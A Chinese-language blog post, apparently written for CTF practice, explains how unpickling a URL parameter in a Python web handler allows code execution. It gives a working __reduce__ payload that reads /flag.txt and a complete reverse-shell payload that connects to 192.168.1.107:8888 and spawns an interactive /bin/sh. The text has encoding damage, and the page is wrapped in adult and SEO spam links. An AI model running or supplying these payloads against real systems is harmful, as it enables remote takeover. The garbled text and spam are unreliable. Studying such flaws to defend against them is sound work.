亚洲免费在线-亚洲免费在线播放-亚洲免费在线观看-亚洲免费在线观看视频-亚洲免费在线看-亚洲免费在线视频

python反序列化漏洞

系統(tǒng) 1767 0

原理
在網(wǎng)頁(yè)源碼中如果出現(xiàn)將用戶輸入數(shù)據(jù)進(jìn)行反序列化當(dāng)成參數(shù)輸出時(shí),出現(xiàn)漏洞,可造成任
意命令執(zhí)行
例如網(wǎng)頁(yè)源碼
try:
?????? become = self.get_argument('become')
?????? p = pickle.loads(urllib.unquote(become))
?????? return self.render('form.html', res=p, member=1)
except:
??????? return self.render('form.html', res='This is Black Technology!', member=0)
過程:用戶傳入become參數(shù),服務(wù)器將become參數(shù)url解碼再反序列化并將結(jié)果給p,將p當(dāng)
作一個(gè)參數(shù)給res,并且form.html有向客戶端顯示res的部分

那么攻擊方式就是修改可控的become參數(shù),當(dāng)序列化以及反序列化的過程中中碰到一無所知的擴(kuò)展類型( python2,這里指的就是新式類)的時(shí)候,可以通過類中定義的 __reduce__ 方法來告知如何進(jìn)行序列化或者反序列化。
也就是說我們,只要在新式類中定義一個(gè)__reduce__ 方法,我們就能在序列化的使用讓這個(gè)類根據(jù)我們?cè)?__reduce__ 中指定的方式進(jìn)行序列化。

Demo:
①首先用python得到攻擊所需的payload
class payload(object):
?? ?def __reduce__(self):
?? ??? ?return (eval,("open('/flag.txt','r').read()",))? //表示用eval的方式序列化后面內(nèi)容
a=pickle.dumps(payload())? //得到指定方法序列化后的pickle數(shù)據(jù)
print(urllib.quote(a))???? //得到url編碼后的payload

②接下來服務(wù)端收到payload后
p = pickle.loads(urllib.unquote(a)) //先url解碼再用指定方法反序列化內(nèi)容,結(jié)果執(zhí)行了代碼
return self.render('form.html', res=p, member=1)? //這時(shí)p已經(jīng)是執(zhí)行代碼后的內(nèi)容了

拓展:
既然能夠任意執(zhí)行代碼,那么就可以反彈shell,以下為payload代碼
import pickle
import urllib
import os

class exp(object):
? ?def __reduce__(self):
? ? ? ?s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
? ? ? ?return os.system, (s,)? //指明用os.system方法序列化s字符串內(nèi)容
?
poc = pickle.dumps(exp()) //按照指定方式序列化字符串
print(urllib.quote(poc))

詳細(xì)的看下字符串內(nèi)容
python -c '執(zhí)行命令'
執(zhí)行命令
Import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.107",8888));
os.dup2(s.fileno(),0);???? //表示所有的輸入內(nèi)容都傳送給socket
os.dup2(s.fileno(),1);??? //表示所有的輸出內(nèi)容都傳送給socket
os.dup2(s.fileno(),2);?? //表示所有的錯(cuò)誤輸出都傳送給socket
p=subprocess.call(["/bin/sh","-i"]);?? //使用sh -i 使shell可交互


更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號(hào)聯(lián)系: 360901061

您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對(duì)您有幫助就好】

您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長(zhǎng)會(huì)非常 感謝您的哦!!!

發(fā)表我的評(píng)論
最新評(píng)論 總共0條評(píng)論
主站蜘蛛池模板: 亚洲va天堂va国产va久 | 国产成人精品永久免费视频 | 国产热re99久久6国产精品 | 99精品免费久久久久久久久日本 | 欧美视频在线网站 | 天天舔天天射天天干 | 四虎国产精品永久地址99新强 | 欧美在线成人午夜网站 | 破外女出血一级毛片 | 亚欧精品一区二区三区四区 | 91精品国产乱码久久久久久 | 久久久久久日本一区99 | 欧美香蕉视频在线观看 | 国产精品福利在线 | 亚洲国产精品综合一区在线 | 久草视频在线资源 | 国产真实伦视频在线视频 | 亚洲 中文 欧美 日韩 在线人 | 美女一级a毛片免费观看 | 老司机午夜精品99久久免费 | 亚洲图片天堂 | 99热成人精品热久久66 | 天堂男人在线 | 成人国产精品一级毛片天堂 | 亚洲精品专区一区二区三区 | 色偷偷久久一区二区三区 | 99久久99久久精品免费看子伦 | 91视频免费观看网站 | 一级特级aa欧美毛片 | 成年人色视频 | 高清一区二区三区免费 | 欧美videos粗暴高清性 | 免费一级a毛片在线 | 青青青国产在线 | 亚洲视频在线视频 | 久久久国产精品福利免费 | 国产日产久久高清欧美一区 | 精品国产综合区久久久久99 | 一本久道综合久久精品 | 亚洲国产一 | 天天操天天干天天透 |